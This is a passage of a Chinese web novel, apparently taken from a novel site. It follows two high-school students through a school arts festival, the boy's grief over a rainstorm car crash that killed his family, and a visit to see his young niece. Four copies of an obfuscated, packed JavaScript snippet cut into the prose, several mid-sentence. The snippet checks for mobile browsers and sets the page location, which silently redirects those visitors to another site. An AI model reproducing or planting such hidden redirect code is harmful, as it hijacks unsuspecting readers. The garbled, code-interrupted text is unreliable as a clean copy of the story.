但这样贸然找过去,会不会太唐突?或许人家真的只是想一个人待会儿。 江随意迟疑了一下,还是朝着平台去了。 有些湿意的夜风吹散了从操场带来的最后一丝燥热,平台空旷,只有远处星星点点的灯火在视野尽头铺开。 然后,她的目光定住了。 一个清瘦的背影倚墙而立。 顾橖河面朝着校园外那片阑珊灯火,微微仰着头,夜风拂动他额前的碎发。操场上隐约的喧闹和乐声传到这里,更衬得此地的寂静。 江随意的心轻轻落回实处,却又被另一种更复杂的情绪填满。 “你怎么一个人跑这里来了,刚才鱼灯舞不是看得挺开心的嘛?” 顾橖河的身体僵了一下。 “节目有点多,看累了,上来透口气。” 江随意走到他身边,两人之间隔着半臂的距离,夜风毫无阻碍地从中间穿过。 “这才哪到哪啊,”她笑了笑,目光投向远处,“后面还有好几个节目呢。” 顾橖河极轻地应了一声,沉默在两人之间蔓延,只有风掠过耳际的细微声响。 《梁祝》哀婉的唱腔似乎进入了一个高亢的段落,隐隐约约缠绕过来。 江随意轻声问道:“顾橖河你似乎,很抵触《梁祝》?” 问出口的瞬间,江随意甚至有些后悔自己的冒失。她甚至做好了得不到回应或者被他冷淡带过的准备。就在以为对方不会开口,准备岔开话题时,顾橖河沙哑的声音落在她耳边。 “我第一次听《梁祝》的戏,是初三毕业那个暑假,在苍溪镇。” “苍溪镇?!” 苍溪镇是阿爷的家。 而江河大桥车祸前夜,祠堂门口的戏台上,唱的正是《梁祝》。 原来那一晚,他也在。 江随意的血液骤冷,那则新闻又开始在耳边盘旋。 祠堂门口锣鼓喧天与新闻里被暴雨冲刷得模糊扭曲的江河大桥,碎片般的画面在脑海里疯狂交织、冲撞。命运那根残酷的线,早在那个看似平常的夏夜就以一种如此惨痛的方式,悄然纠缠在了一起。 原来那一曲《梁祝》,诉说的不仅是少年心动,更是生死相隔的痛楚。纵使故事里的他们化蝶双飞,可人世间的离别,从来只有一去不回。 江随意别开脸,不敢再看顾橖河。视线慌乱地落在脚下粗糙的水泥地上,心脏在胸腔里狂跳,所有试图安慰或询问的话语,在这一刻都显得无比苍白。 顾橖河也不敢看江随意。 记忆里只剩下一夜的暴雨。 台上,梁祝的幻梦正凄美上演。他惊觉自己对江随意萌生的情愫,陌生又奇妙。而台下等来的却是最亲的人离世的噩耗。亲人的永诀与心底不合时宜的悸动猛烈撕扯着他,像一场无声而残酷的责难。从此,《梁祝》的旋律连同那倾盆的夜雨成了他心上不敢触碰的疤。 顾橖河还没来得及分清最初那种懵懂的喜欢,就陷入了另一场执念里。他不敢再看观音,怕那悲悯的目光照见他心底纠缠的愧与痛。 《梁祝》不知何时已悄然落幕,换上了欢快的小品配乐和阵阵笑声,可夜风似乎更凉了。 “江随意......” “我们下去吧。”江随意出声打断了他,“出来有点久了,到时候他们找不到人了。” 她听得出来他声音里的颤抖,不愿意在这时候揭开伤疤。 又或者说,她心疼了。 顾橖河看着江随意的背影,默默跟了上去。 “江随意其实我......很早之前就认识你了。”声音轻到似是自语,然后随着风一起消散。 舞台上灯光变幻,一个男生抱着吉他走上舞台中央,调整了一下麦克风的高度。聚光灯打在他身上,台下瞬间安静了不少。 前奏是干净的吉他扫弦,带着点慵懒的怀旧感。男生清澈的声音透过麦克风: “Openmyeyesinmorningrain【注1】 Andgentlyfindoutblackshoes Cloudsareslowlydriftingbywhoiscryingunderthesky......” 舞台灯光暗下,只留一束追光落在他身上。歌声并不华丽,却有种真诚的叙述感,轻易地抓住了台下所有人的注意力。 “Say,sayitagain,sometimesthememorywaswindingmymind. Say,sayitagain,youknowthepastthingscouldsetmefree.” 歌曲进入间奏,吉他的旋律变得悠扬。男生微微抬起头,望向台下黑压压的人群,嘴角弯起一个浅浅的弧度,声音透过麦克风清晰地传遍整个操场: “嘿,亲爱的朋友们,现在请把你们们的手电筒打开,然后一起举起来好吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075532|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几乎是话音刚落,台下就亮起一片星星点点,白色的光芒如同夏夜骤然升起的星群,在昏暗的观众席中摇曳闪烁,汇成一片涌动的银色星海。 光芒映亮了一张张年轻专注的脸庞,有人跟着节奏轻轻摇摆,有人小声哼唱,气氛被推上了一个温柔而澎湃的高潮。 江随意和顾橖河站在人群的最后面,却同样被这氛围包裹着。刚才平台上沉重的氛围,被歌声和面前的光海悄然稀释了些许。 歌声在余韵中缓缓结束,吉他的尾音消散在夜风里。那片星海并未立刻熄灭,像是意犹未尽地持续了几秒,才如同退潮般,一点一点地暗了下去。掌声和尖叫声轰然响起,热烈地献给台上的表演者。 主持人再次上台,紧接着戴着眼镜的教务处主任接过了话筒。他清了清嗓子,脸上带着笑意,先是对刚才的表演给予了肯定和鼓励,然后便是为即将踏上高考战场的高三学子们加油鼓劲的演讲。 演讲接近尾声,主任顿了顿,目光扫过台下那一片熄灭星光的区域。他推了推眼镜,带着点调侃的意味:“刚才那片星海很美啊,不过嘛——” 他故意拉长了语调,台下瞬间响起一阵心照不宣的低笑和骚动。 “也真是让我没想到啊,私底下原来还有这么多同学的手机没上交啊?合着班主任办公室里收上去的那些都是模型机,专门糊弄我们这些上年纪的啊?” “哈哈哈——” 被抓包时的哄笑和主任的幽默混合在一起,变成了纯粹的欢乐。就连前排坐着的老师们都忍不住跟着笑了起来,气氛轻松到了极点。 主人自己也笑了,摆摆手:“算了算了,看在今晚气氛这么好,这次就先放过你们,下不为例啊!” 江随意也被这突如其来的转折逗笑了,刚才心头的滞重感似乎被这欢乐的浪潮彻底冲散。她下意识地侧头看向身旁的顾橖河,正巧他也微微偏过头,目光与她相接。 “意意,怎么跑后面去了,我还找你找半天呢,快点过来。”周望玥从侧前方的人群里挤过来,她已经换下了演出服,头发浸了汗水贴在额角,身边还站着班里其他几个刚表演完节目的同学。 她的声音被下一场节目的前奏音乐盖过了一些,但周围的同学都听见了,几个熟识的同学也热情地朝他们这边挥手,大声招呼着。 林一娢双手拢在嘴边,用更大的声音补充喊道:“快点你俩,陈姐说等会儿还要拍大合照呢,赶紧过来。” 江随意脸上的笑意更深了,她回头看向顾橖河,声音轻快:“我们走吧。” 两人刚往前挪动了几步,林尧就从旁边斜插过来,一把揽住了顾橖河的肩膀。 “我说你怎么一转眼人就不见了,跑后面来干嘛呀?”林尧脸上也挂着汗,笑嘻嘻地,几乎把半个身子的重量都压在了顾橖河身上,推着他往前走,“走走走,别在后面待着了能看见啥呀,我和你说陈明明他们几个今天胆子肥了,偷偷点了外卖,这会儿估计快送到了。你晚上别回去了,就住寝室里,哥几个一起放松一下。” 顾橖河被他揽得微微踉跄了一步,下意识地稳住身形,然后侧过头,目光投向几步之外的江随意。 几个女孩子正凑在一起兴奋地说着什么,周望玥手舞足蹈地比划着,大概是在讲刚才鱼灯舞的临场表现。 江随意脸上是放松而明亮的笑容,眉眼弯弯,在操场变幻的光影里显得格外生动。似乎是察觉到他的目光,她抬起头,视线穿过攒动的人影,再次与他交汇。她脸上的笑意没有丝毫减退,反而更清晰了些,对着他很自然地点头示意。 顾橖河收了回来,而林尧还在耳边喋喋不休地描述着今晚吃的有多丰富。 他被林尧半推半架地带着往前,走向班级同学聚集的那一小片区域。 “听见没有顾橖河?等会儿别自己走掉了,和我们一起回寝室啊!”林尧又一次拍了拍他的肩膀。 顾橖河感感觉自己胸腔里一直紧绷着的东西,似乎在这片喧嚣的热浪中,悄然松动、融化了一角。 他垂下眼帘,片刻后再抬起时,那惯常的清冷里似乎也染上了一丝属于这个喧闹夜晚的温度。 “好。” 49. 别扭 周六中午,江随意没有先回家,而是留校补课。加上叶桐出国参加展会,她今天准备回北江住。 下午程遇来接时,身边竟然没跟着江随星,这倒是让她奇怪:“星星怎么没来?” 程遇:“让你爸扔厂里打工了。” 江随意:“他又怎么了?” 程遇笑了下,摇头:“没,就是他们班上有个同学的爸爸出事了,他想捐款,但上个月不是把压岁钱都买飞机模型了嘛。” 江随意系好安全带,问道:“这样啊,那哥回来了吗?我记得这周他应该是放假吧。” 程遇点头:“中午回来了,但后面就出去了,说是和初中的同学吃个饭。” “初中同学?” 不知道顾橖河会不会在。 已经下午四点,空气里的燥热渐渐散了些。程遇把车停在小区门口,挂断电话,略带歉意地侧过脸:“意意,抱歉啊,局里面临时要开会,我得先过去了。家里吃的都有,晚饭想吃什么和你爸讲让他做。” “没关系程姨,你开车注意安全。”江随意解开安全带,推门下车,隔着车窗朝程遇挥挥手。 刚到楼下,江随和便从对面绿化带的小径拐出来,低着头,步子拖沓。 江随意快走几步,扬声喊:“哥!” 江随和像被惊醒,迅速将手里的东西放回口袋。抬头看清是她,才仓促地扯出个笑:“回来了。” “叫你好几声都没听见。”江随意走到他跟前,狐疑地打量着,“想什么呢这么出神?程姨说你中午就回来了,跟初中同学吃饭去了?” “嗯。”江随和含糊地应了一声,视线落在她脸上,眉头拧了一下,“瘦了。” 他伸出手接过江随意肩上的书包。 江随意边走边说:“在画室两天画了快四十张,手腕都快不是自己的了,结果有人更夸张。但这才哪到哪,等学考结束回去强度还会上来。” 她絮絮叨叨讲着画室的事情,却发现身后脚步声停了。回头一看,江随和停在原地,书包带松松垮垮地挂在他手腕上。 “江随和?”江随意折返两步,站到他面前,伸手在他眼前晃了晃,“你今天到底咋了呀,魂不守舍的,是身体不舒服吗?” 她抬手想探他额头。 江随和下意识地偏头躲开。 “没有。” 他避开她的目光,侧身上前去开门:“先进屋,别在门口站着。” 门开了,江随意蹬掉鞋子,把自己摔进柔软的沙发里,发出一声舒服的喟叹。 江随和把她的书包放在客厅凳子上,转身进了厨房。不一会儿,他端了盘洗好的葡萄出来,又去零食柜里翻出两袋她喜欢的海苔饼干,一股脑儿堆在茶几上。 江随意捻起一颗葡萄丢进嘴里,看着哥哥在客厅和厨房间来回,又是擦桌子又是收靠垫的,动作带着一种刻意的忙碌,就是不怎么说话。 “江随和。” 她盘腿坐直,声音提高了一点:“你今天话怎么这么少,不高兴?” 江随和正弯腰整理沙发扶手上搭着的薄毯,闻言动作顿了顿,但没回头:“没有,我在想事情。” “你少来这一套。”江随意跳下沙发,跟到厨房门口。 江随和背对着她,把台面上几样调料瓶挨个拿起来,又放回去,排得整整齐齐。水槽边刚洗好的玻璃杯,被他用干布擦了又擦,杯壁在顶灯下反射出光。 江随意的心往下沉了沉。 她太了解她哥了。每次他情绪不对的时候,就喜欢用整理和清洁来掩饰自己。 她走过去,扯住他擦杯子的胳膊,声音放软了,有些紧张道:“哥,你别瞒我。程姨说你下午见初中同学了,是不是发生什么事了?” 江随和握着杯子的手忽然收紧,他转过身,那双总是带着点笑意的眼睛,此刻沉沉地压下来。江随意被他看得心头一跳,还没反应过来,整个人就被一股大力拽了过去,狠狠按进怀抱里。 “怎么瘦了这么多......” 江随和的声音闷闷地从头顶传来,手臂箍得她骨头生疼,下巴蹭着她的发顶。 那声音里,竟还带着浓重的鼻音。 江随意愣住。 她哥这是......哭了? 意识到这一点,不知是为何,她也跟着鼻子一酸,眼眶瞬间就热了,委屈莫名其妙地涌上来:“你干嘛呀,好端端的......问你你也不说话,什么时候喜欢当哑巴了。” 江随和身体一僵,慌乱地松开手,语气懊恼:“我真的没事,你别哭了。” “骗鬼呢,你猜哭了。”江随意瞪着他,“江随和你哭起来可真丑。” 江随和愣了一下,像是被这话气笑了,伸手不轻不重地掐了下她带着泪痕的脸颊:“你更丑。” “滚!”江随意抬脚踹在他小腿上,力道不大。她吸了吸鼻子,盯着他泛红的眼眶,又问:“你说话呀,到底怎么了?你今天......顾橖河也在是吗?你们闹别扭了?” 江随和又躲了过去,低头捡起刚才掉在地上的擦杯布。他沉默了几秒,才低声开口:“阿橖也在。但不是闹别扭,就是想起以前的很多事。” “有些事知道了,心里堵得慌。” “奇奇怪怪的。”江随意嘟囔了一句。 她哥明显没有说实话,但目前看起来也问不出个什么来。 江随意蔫蔫地转身往自己房间走:“那你自己想吧,累死了,我回去躺会儿。” “嗯。”江随和应了一声,看着她关上房门,才长长地吐出一口气。 过了一会儿,他拿起江随意的书包走到房门口,轻轻敲了敲。 “进来。” 江随和推开门,窗帘被紧紧拉上,房间里只开了盏床头小灯,光线昏黄。 江随意整个人埋进被子里,只露出个毛茸茸的发顶。江随和把书包放在书桌旁的椅子上,走到床边,看着她故意背过去的身体,无奈地扯了扯嘴角。 “书包给拿进来了。”他低声说。 被子里的人没动静。 “别偷偷给我哭啊。”他又加了一句,声音放得更轻。 一个枕头突然从被子里飞出来,精准地砸在他胸口。 “滚蛋。” 江随意的声音隔着被子,闷闷的,带着点气急败坏。 “你别哭才对,爱说不说,不说拉倒。” 江随和接住枕头,抱在怀里,站在床边没动。他垂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087921|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,视线落在被子上隆起的那个小小鼓包上,手无意识地探进外套口袋。 吃完饭后,顾橖河跟他单独聊了好一会儿,还给了他一个U盘。 口袋里的手紧攥着U盘,过了许久,江随和才开口:“意意,以前有没有人欺负过你?” 被子里的人动了一下,迷迷糊糊探出头来,像是在思考对方的话。片刻后,才传来江随意的声音:“谁能欺负得了我啊。”尾音渐渐低下去,呼吸变得均匀绵长。 江随和站在原地。 昏暗中,他脸上的神情复杂难辨,但最终都归于一片晦暗。他退出去,轻轻带上了房门。 江随和坐在电脑面前,表情冷漠,手里转着那个U盘。他已经在尽量控制自己的情绪,但下午和顾橖河谈的话在他心里扎了根。 他把U盘插进接口,屏幕上弹出一个孤零零的文件夹,里面只有一个视频文件。 画面剧烈地晃动起来,显然是仓促拍下的。 视频重复了一遍又一遍,江随和全程都没有过激的反应,只是逐渐赤红的眼睛出卖了他。 江随意是被一种奇怪的空落感拽醒的。 她先是在床上坐了好一会儿,发着愣,任由脑袋里一片空白。半晌才回过神,起身去拉开窗帘,外面的天已经黑透了,只有天边残留着一线模糊的橘红,像即将要熄灭的炭火。路灯昏黄的光线无力地洒在空荡荡的街道上,几乎看不到行人的影子。 江随意的脑袋昏沉得像灌了铅,睡了一觉,反而更累了。这种醒来仿佛被世界遗弃的孤寂感,让她心里发闷,很不舒服。 但这份不适很快被门外的声音驱散。 是江随星清脆又带着点撒娇的嚷嚷:“老爸,菜什么时候好呀,我都快饿扁了。” 江渐明:“我再弄个汤就好了,去看看你姐醒了没,叫她起来吃饭。” “好嘞,保证完成任务。” 江随意刚走到门边,手还没碰到门把手,房门就被从外面打开了。江随星探了进来,看到她已经站在那儿,立刻咧开嘴露出一个笑容:“阿姐,你醒啦,我正要叫你起来吃饭呢。”他一把拉住江随意的手就往外拽,“快走快走,我忙了一整天,真的太饿了。” 江随意:“今天去挣钱啦?” 江随星:“嗯,老爸还额外奖励了我一点。” “我们星星真厉害。” 江随意摸摸弟弟的脑袋,方才莫名产生的孤独感被冲得干干净净。她走到餐桌前,但不见江随和,又问:“哥他人呢?” 江随星摇摇头:“刚才出去了,没说去哪儿。不过看起来哥哥今天心情不是很好,我叫他好几次都没回我。” “来吃饭了。”江渐明正把汤端出来。 “爸,哥呢?”江随意坐下,拿起筷子,又问了一遍。 江渐明把身上的围裙脱下来,手里一顿,又转身回厨房:“他说出去透透气,一会儿就回来。我们先吃,给他留点菜。” “哦。”江随意没再追问,目光扫过对面江随和空着的座位。 第二天一早,空气里还有点凉,江随意就已经披着外套坐在阳台上准备速写。 才画好一张,她就收到了顾橖河的消息,可发消息的人却不是他。 50. 枯木 江随意按照秦择舟给的地址,找到了一个安静的小区单元。 半路上下了点小雨,沾湿了她的发梢。 门很快开了,秦择舟站在那,脸上显而易见的疲惫,身上的衣服也有些皱。 “秦老师,是顾橖河出什么事情了吗?”她的心悬着,语气急切。 秦择舟侧身让她进来,声音低沉:“先进来再说。” 客厅里异常凌乱,似乎被翻找过。 秦择舟快步走到一个柜子前,拉开抽屉,拿出一包崭新的毛巾,拆开包装递给江随意:“先擦擦,别着凉了。” 江随意扫了一眼,没看见那人,心中的担忧加重了几分。 “他人呢?” “阿橖在房间里,你先坐。” 秦择舟指了指沙发,自己也疲惫地坐了下来,双手用力地搓了搓脸。沉默了几秒,他才开口:“这里是阿橖的家,但出事之后就一直住我那边,这边基本就空着了。昨天邻居听到屋里有动静,以为是我们回来了,后面发现不对劲,家里进贼了,他们就帮忙报了警。” 他的眉头紧紧锁着,目光里充满了忧虑:“昨晚阿橖从警局出来就一直没说话,回来之后就把自己关在他以前的房间里,我很担心他会出事。” 江随意的心揪紧了。 “那我有什么可以做的吗?” “之前和你提过,阿橖家里的人都不在了,他一直把责任归到自己身上。” 秦择舟停顿了一下,似乎在回忆过去的每一个细节,声音更哑了些:“平常他们工作都很忙,所以阿橖一有时间就会帮忙带他外甥女,也就是他阿姐的女儿,叫豆豆。小丫头最粘的人也是他,像个小尾巴似的。” “初三结束那个暑假,阿橖带着豆豆去乡下看他阿太,正好晚上祠堂门口有戏班子搭台唱戏。以前也常去的,都没事。可那天戏散场的时候,人特别多,又吵,后面又下起了雨,豆豆不知道怎么就不见了。” 秦择舟的声音有些颤抖:“所有人都慌了神,阿橖到处找都没找到。。后来他爸妈,还有阿姐姐夫,接到电话立刻就开车往这边赶,但是雨实在是太大了,就......出事了......” 秦择舟说不下去了,他闭了闭眼,再睁开时,眼底一片泛红。他深吸一口气,才艰难地继续:“那场车祸,死了好多人,包括他爸妈和姐夫都没救回来。阿姐......阿姐在ICU躺了几天,还是走了。” 屋内里死一般的寂静,只有窗外细密的雨声沙沙作响。 “如果不是后来豆豆被找到送了回来,”秦择舟的声音哽了一下,“阿橖他可能也......” “豆豆现在养在她爷爷奶奶那里,但是阿橖一直不敢去见,他觉得自己对不起她。” 秦择舟的声音里充满了无奈和心疼:“从那一天起,他听不得任何跟那天晚上有关的东西。不管是看的戏还是江河大桥,甚至车都不敢坐,就连下雨天对他来说也是一种折磨。” “最可怕的是,有时候他发病了,又会像自虐一样,强迫自己去听那出戏,去看大桥的新闻,一遍遍地折磨自己,好像要把那些痛苦都刻进骨头里。” “有一段时间,我以为他这辈子都好不了了。但医生跟我说,他其实是想走出来的,他在很努力地想自救,只是方式太极端了,像在自毁。” “后来有一天......” 秦择舟的目光落在江随意脸上:“他突然跟我说想要回来。” 江随意下意识地问:“为什么?”她隐隐感觉到,答案似乎与自己有关。 “他看到了一张你的照片。” “我的?”江随意彻底愣住了,眼睛微微睁大。 “嗯。”秦择舟肯定地点点头,也有些困惑,“具体是什么照片我不清楚,总之,他想要回来。一开始只是想回来看看,后面选择留下了。” 秦择舟的目光变得柔和而恳切,他看着江随意,像是在看最后的希望:“也许你对阿橖来说有某种不一样的意义。自从回来后,我能感觉到他的状态确实在一点点地好转。虽然过程很慢,也会有反复,可是在提到你的时候,阿橖的眼神是不一样的。” “他很开心。” “但他现在又把自己关在里面,我实在没办法了。所以我才找了你,找你,试试。” 江随意敲了门,但里面依旧没有回应。 直到第三次:“顾橖河,是我。” 房门打开时,顾橖河站在门后阴影里,脸色苍白,眼下是浓重的青黑,下巴上冒出的胡茬让他整个人透出一种被碾碎般的颓败。他甚至没有看江随意,目光不悦地投向她身后的秦择舟。 秦择舟后退一步:“你们聊,我去买点东西。” 顾橖河喉结滚动了一下,什么也没说,只是沉默地转身,但门没有关。 江随意走进去,反手轻轻带上了门。隔绝了外面的光线,房间瞬间沉入更深的昏暗。脚下不知踢到什么硬物,发出沉闷的滚动声,她踉跄了一下,下意识扶住旁边的柜子稳住身体。 这声响似乎惊动了窗边的人影。顾橖河终于动了动,他没有回头,只是径直走向紧闭的窗帘。 他伸出手,猛地一扯—— 刺眼的天光瞬间涌入,撕裂了室内的昏暗。顾橖河被这强光刺得微微偏过头,眯起了眼。窗外,雨丝又开始飘落,细细密密地打在玻璃上,留下蜿蜒的水痕。鸟儿在湿漉漉的枝头短促地鸣叫了几声,很快又归于沉寂。 光线彻底驱散了房间的黑暗,江随意这才彻底看清了他此刻的样子,那件皱巴巴的衣服套在他身上显得空荡荡的。他就那样僵立在窗边,背对着她,像一截失去生机的枯木,对身后的闯入者毫无反应。 她从没见过这样的顾橖河。 江随意没有出声,目光扫过屋里的陈设,直到她的视线落在床头柜上那个小小的相框。 心口猛地一跳。 相框里是那张在仙河高中旧教学楼里拍下的照片,是顾橖河口中“他爸的黑历史”。 江随意走近,才发现原来上面的字不是“苏音”而是—— 苏韵 记忆里某根弦被狠狠拨动。 江随意想起来那次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091742|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛经晕倒,妈妈带她去看平日里挂号的大夫,却知听得护士一句:“苏韵大夫一个星期前就去世了。” 苏音。苏韵。 面墙上潦草覆盖的名字,以及去世的医生竟然是顾橖河的妈妈。 江随意的指尖触碰到的玻璃相框表面一片冰凉,可这凉意却仿佛带着灼人的温度,顺着指尖的神经一路窜上脊背,让她打了个寒颤。方才在楼下淋到的那点细雨带来的微冷,此刻被一种更尖锐的寒意彻底覆盖。 心脏像是被一只无形的手狠狠攥住,又酸又疼,几乎无法呼吸。 他父母的感情应该很好。 江随意这般想着。 顾橖河依旧背对着她,而她张了张嘴,最终还是没发出声来。 房间里只剩下两人的呼吸声,以及窗外单调的雨声。 时间在凝滞的空气中缓慢爬行。 江随意没有试图靠近,也没有离开,只是站在原地。不知过了多久,也许是窗外的雨声稍歇,也许是某种紧绷到极致后的细微松弛,她看到顾橖河的肩膀往下塌了一点点。 顾橖河声音干涩:“你......要喝水吗?”他侧过身,视线低垂,不敢看江随意。这笨拙的问话像块浮木却是他唯一能抓住的遮掩。 他曾无数次希望有人能拉自己一把,但当这个人真的站在这里,汹涌而至的却是巨大的恐惧。顾橖河觉得自己像块吸满不幸的海绵,靠近谁,谁就会被浸湿。 他也曾把过错推给别人,用这种扭曲的方式寻求一丝喘息,暂时逃避那几乎将他压垮的惶恐。阿姐最后那句“好好活下去”还在耳边,但更清晰的,是监护仪停止时那声冰冷的嘀响。 顾橖河知道源头在自己,和别人无关。可心底深处,那份想被拉出深渊的渴望从未停止。而江随意,早在很久以前就在他心里生了根。 江随意没有接话,只是上前一步,伸出手臂轻轻环抱住了他。 “江随意......”他声音哑得几乎听不见。 “别动。” 顾橖河僵立着。 那些被他死死压住的恐惧和愧疚在这个拥抱里翻腾起来。他想推开她,但身体却贪恋篝火,本能地汲取着这点暖意。 任何言语在死亡面前都显得苍白无力,江随意不知道该如何安慰才能抵过那份失去的重量。 但有些救赎,不在于解开死结,而在于让人看见结绳上还有光。 秦择舟说过,顾橖河画地为牢,把自己死死困在过去的阴影里,但其实离出口只差最后一步。可这最后一步,旁人再用力,也无法替他迈出。 “顾橖河,逝去的人,我们无法再对他们做什么,但活着的人还在。与其把所有的愧疚和悲痛都消耗在无法挽回的过去,不如把它们放在活人身上,好不好?在那里还有无数种可能。” 她收紧了手臂,用力抱住他:“你之前对我说过,不试试,就永远没有机会。那现在,你要不要也给自己一个试试的机会?” “去见一见豆豆吧。” “秦老师说,她很生气,因为生日的时候,你没去。” 51. 逃避 “我不能。” 也不敢。 那双酷似阿姐的眼睛,每一次注视都像在无声地审判他。 江随意没有强迫,只是抬起手,安抚性地在他背上拍了拍。她慢慢松开,退开半步,目光却依旧紧紧锁着他苍白的脸:“你犹豫了,顾橖河。这说明你心底是想见她的不是吗?” 铃声打断了他们,桌上屏幕亮起的一刹那,江随意扫过一眼。手机锁屏壁纸是周五艺术节时拍的班级大合照,照片被放大了一些作为屏保,画面有些拥挤,但她还是一眼就看到了站在自己斜后方的顾橖河。 他站得并不算近,周围簇拥着其他同学,可他的位置恰好能看到她的侧影。 顾橖河划开接听,将手机贴在耳边。即便没开免提,秦择舟那份担忧也能从听筒里传了出来:“阿橖,豆豆在幼儿园摔了,现在在医院。” 顾橖河的眼睫急促地眨动了几下,声音干涩得厉害:“严重吗?” 电话那头秦择舟的语速很快,带着安抚的意味:“就是跑的时候摔了一跤,磕到胳膊了,有点脱臼,医生已经处理好了,现在没什么大碍,就是刚刚打电话的时候一直在哭。” 顾橖河抿了抿没什么血色的唇,声音低哑:“没事就好。” “阿橖,你......”秦择舟的声音迟疑了一下,似乎想说什么。 “我先挂了。”顾橖河却打断了他,没等对方回应就把手机放下了。 “你不去看看她吗?” 顾橖河的身体颤了一下,摇了摇头。 江随意伸出手,轻轻拉住了他的手腕。 她看着他低垂躲闪的眼睫,轻轻唤了一句:“顾橖河。” “不出现,就远远看一眼也好。” 江随意的手指微微用力,带着一点引导的意味,轻轻晃了晃他的手腕:“走吧,我陪你过去,远远看一眼我们就走。” 顾橖河被她拉着,身体僵硬地挪动了半步。他抬起眼,那双深黑的眸子像蒙着厚重水汽的寒潭,嘴唇动了动,最终没有发出声音,只是极其轻微地点了一下头。 那点头的幅度太小,几乎像是幻觉,但江随意感受到了他手腕上传递过来的微弱力量。 不是挣脱,而是顺从。 她不再说话,只是更紧地握住了他的手。 刚下到单元门口,江随意抬眼就看见秦择舟背对着他们,正烦躁地靠在车门边抽烟。 他没戴眼镜,只是随意地塞在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091743|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的口袋里。没了镜片的遮挡,侧脸的线条显得有些冷硬,甚至透出几分与平日里温和气质截然不同的锋利。他狠狠吸了一口烟,白色的烟雾随着他一声吐息被风吹得零乱四散。那样子,全然不是讲台上那个温润耐心的秦老师,倒真应了他那句“以前可不是什么乖学生”的自嘲,浑身上下透着一股戾气。 似乎是听到了身后的脚步声,秦择舟转过头来。当他看见被江随意紧紧拉着手的顾橖河时,眼底的烦躁和戾气被惊诧取代,甚至有一丝慌乱掠过。他几乎是条件反射地将手里那截才抽了不到一半的烟掐灭,然后将烟蒂丢进旁边的垃圾桶里。 “阿橖?”秦择舟快步迎上来,目光急切地他们脸上来回,试图读出点什么。 “你们这是?” 顾橖河依旧垂着头,对秦择舟的询问毫无反应。他所有的感官似乎都关闭了,只剩下手腕上那点来自江随意的微弱暖意,成了维系他与现实之间那根摇摇欲坠的细线。 有时候面对秦择舟,他也会选择逃避。 江随意:“秦老师,我们去医院。” 秦择舟的瞳孔猛地收缩了一下。 他不再多问,转身迅速拉开后座车门。 “上车。” 52. 往前 下午返校。 周望玥的吸管戳破了奶茶封口,发出清脆的“啵”声。她猛吸一口,冰凉的奶茶滑过喉咙,甜得眯起了眼。 “再不喝就不好喝了,”她推了推江随意的胳膊,“这可是我千辛万苦从保安那混进来的。” 江随意回过神来,草稿本上的Q版小人已经画到第三个。她下意识地合上本子,却被周望玥一把按住。 “改走漫画路线啦?”周望玥凑近,盯着那个圆头圆脑的小人,“画得还挺可爱的。” “别闹。”江随意把草稿本一掀,铅笔在指间转了个圈。 周望玥咬着吸管,歪头看她:“怎么了嘛,难得见你这个样子,说来听听。” 江随意面无表情地转过去,抽过周望玥桌上的试卷:“最后那道填空题你解出来了吗?等会儿上课要讲的哦。” 周望玥的脸瞬间垮了下来:“天要亡我呀,败给一道填空题。”她哀嚎一声,又猛吸了一口奶茶,“行了,你也别想其他的了,教教我呗。” 江随意展开试卷,笔尖点在题目上,强迫自己集中注意力。 “先求导,再代入临界值......” 周望玥嚼着珍珠,打断她:“对了,马上就响铃了,顾橖河怎么还没返校。” “看题。”江随意敲了敲周望玥的试卷,头也不抬:“你管他做什么,还写不写题了?” “写写写。” 直到晚自习最后一节,后门才传来响动。任由别人去找顾橖河搭话,江随意却始终没有回头。 周望玥用笔帽戳了戳她的手臂:“你俩吵架了?” “没有。”江随意在橡皮上戳了几个洞。 她知道顾橖河心里不好受,也能理解他当时的反应,可就是莫名的难受。回去的路上他俩也一句话没说,公交车上位置还空着许多,偏偏一个坐前,一个最后。 